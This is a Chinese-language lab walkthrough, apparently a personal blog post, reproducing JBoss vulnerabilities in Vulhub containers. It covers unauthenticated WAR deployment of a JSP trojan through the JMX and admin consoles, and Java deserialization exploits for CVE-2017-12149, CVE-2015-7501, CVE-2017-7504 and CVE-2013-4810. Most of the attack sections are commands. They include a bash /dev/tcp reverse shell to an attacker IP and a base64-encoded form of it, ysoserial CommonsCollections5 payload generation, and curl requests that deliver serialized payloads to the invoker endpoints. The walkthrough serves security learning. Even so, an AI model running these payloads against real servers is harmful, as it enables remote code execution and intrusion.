地址:Vulhub - Docker-Compose file for vulnerability environment这里用vulnhub搭建的环境是需要密码的,密码为admin:admin,但是我们模拟的环境是未授权访问,也就是不用密码就能登陆控制台,所以就假设不需要密码吧,密码文件:server/default/conf/props/jmx-console-users.properties打开后找到addurl栏,这里有两个栏,一个是java.net.url,另一个是java.net.string,似乎不管是那个都可以我在这里出现了问题,不管怎么上传都找不到这个地址,所以下面就只写一下过程有一些文章里面写了要返回页面点击apply change理论上如果成功上传后,在控制台页面的jboss.web.deployment会显示包如果部署成功,就可以打开包页面,假设刚才上传的包名为shell.war,所以要打开:8080/shell/,然后就会看到包里面的内容,如果里面有一个名为hack.jsp的木马,那么我们就可以打开:8080/shell/hack.jsp,然后连接即可经过查看本地文件,发现并没有上传,没有流量经过,不知道是服务器问题还是环境问题,但是方法就是这样的环境搭建:Vulhub - Docker-Compose file for vulnerability environment搭建完后打开,同样打开JMX Cpnsole,这里一样是有密码的,密码为admin:vulhub,密码文件路径:/server/default/conf/props/jbossws-users.properties然后把页面拉到最下面,找到两个deploy的标签,在框内输入war包的地址,然后点击invoke这次上传的时候确实有流量了,但是上传的却不完整,所以也没有办法成功复现,我觉得应该是vulnhub的环境问题JBoss Administration Console搭建环境:Vulhub - Docker-Compose file for vulnerability environment首先打开Administration Console,使用vulhub搭建的环境是有密码的,但是我们要模拟的是没有密码或者是弱口令的情况下,所以就直接登入了登入后打开Web Application (WAR) 页面,上传恶意WAR包上传成功后查看一下上传的包是否正常开启,默认是正常开启然后访问8080/hack/hack.jsp即可,路径为war内文件名由于反序列化漏洞的攻击方式都是一样的,只是漏洞发生的文件和成因不同,所以就以JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)为例子过一遍流程JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)该漏洞存在于http invoker组件的ReadOnlyAccessFilter的doFilter中,在/invoker/readonly请求中,服务器将用户提交的POST内容进行了Java反序列化使用环境:Vulhub - Docker-Compose file for vulnerability environment访问:8080/invoker/readonly,页面返回状态码500说明存在漏洞下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
yunxu1/jboss-_CVE-2017-12149: CVE-2017-12149 jboss反序列化 可回显 (github.com)sevck/CVE-2017-12149: CVE-2017-12149 JBOSS as 6.X反序列化(反弹shell版) (github.com)JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)使用vulhub提供的环境:Vulhub - Docker-Compose file for vulnerability environmentJBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0
访问:8080/invoker/JMXInvokerServlet,返回如下页面,说明接口开放,此接口存在反序列化漏洞。设置好监听,用来接收shell下载地址:joaomatosf/JavaDeserH2HC: Sample codes written for the Hackers to Hackers Conference magazine 2017 (H2HC). (github.com)javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
//生成序列化数据ReverseShellCommonsCollectionsHashMap.ser
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.200.4:6969
//以二进制格式发送ReverseShellCommonsCollectionsHashMap.ser包
curl http://192.168.200.4:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
同样发现有很多命令是没有回显的,如果想要使用回显可以使用CVE-2017-12149的第二种方法,也可以使用一些自动化工具,比如https://cdn.vulhub.org/deserialization/DeserializeExploit.jarJBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)Vulhub - Docker-Compose file for vulnerability environment访问/jbossmq-httpil/HTTPServerILServlet,出现以下页面代表存在漏洞攻击时方式和前几个一样,先生成一个序列化数据,然后通过包发送,生成方式一样使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听curl http://192.168.200.42:8080/invoker/readonly --data-binary @hack.ser
JBoss EJBInvokerServlet 反序列化漏洞(CVE-2013-4810)访问/invoker/EJBInvokerServlet,如果如下图所示代表存在此漏洞注意:此方法测试前先设置监听,然后在运行反弹shell的语句,看看是否执行正常,我的kali由于无法执行‘bash -i >& /dev/tcp/攻击者IP/1234 0>&1命令’导致无法使用反弹shell的语句,浪费了大量的时间
其实原理和上面的方法是一样的,就是生成一个序列化的数据然后发送报文,让其自动反序列化,只不过反弹的语句可控将需要的反序列化命令通过网站加编码一次,网站地址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)bash -i >& /dev/tcp/192.168.200.42/6969 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}
使用ysoseriall和CommonsCollections5来生成序列化数据,下载地址:frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. (github.com)java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwMC40Mi82OTY5IDA+JjE=}|{base64,-d}|{bash,-i}" > hack.ser
然后就会生成一个hack.ser在文件夹下,把里面的内容作为poc,使用curl命令上传内容,当然要先设置监听
curl http://192.168.200.42:8080/invoker/EJBInvokerServlet --data-binary @hack.ser
一个是jboss全反序列化漏洞检测的,使用方法就不介绍了,全中文+图形界面下载地址:https://cdn.vulhub.org/deserialization/DeserializeExploit.jar下载地址:joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool (github.com)python ./jexboss.py -host http://192.168.200.43:8080/
直接访问该网站的/invoker/EJBInvokerServlet页面,发现返回文件,确定含有漏洞直接使用ysoseriall和CommonsCollections5来生成序列化数据,监听本机的端口,然后发送成功反弹shell访问:8080/invoker/readonly,返回状态码500访问/invoker/JMXInvokerServlet,返回下载,说明漏洞存在访问/jbossmq-httpil/HTTPServerILServlet显示页面,说明含有漏洞访问/invoker/EJBInvokerServlet,返回下载,说明有漏洞不过最后并没有成功反弹shell猜测原因应该是因为目标系统执行bash命令有问题,导致命令无法正常执行壁纸地址:https://pic.imgdb.cn/item/619b95e72ab3f51d91a40a4c.jpg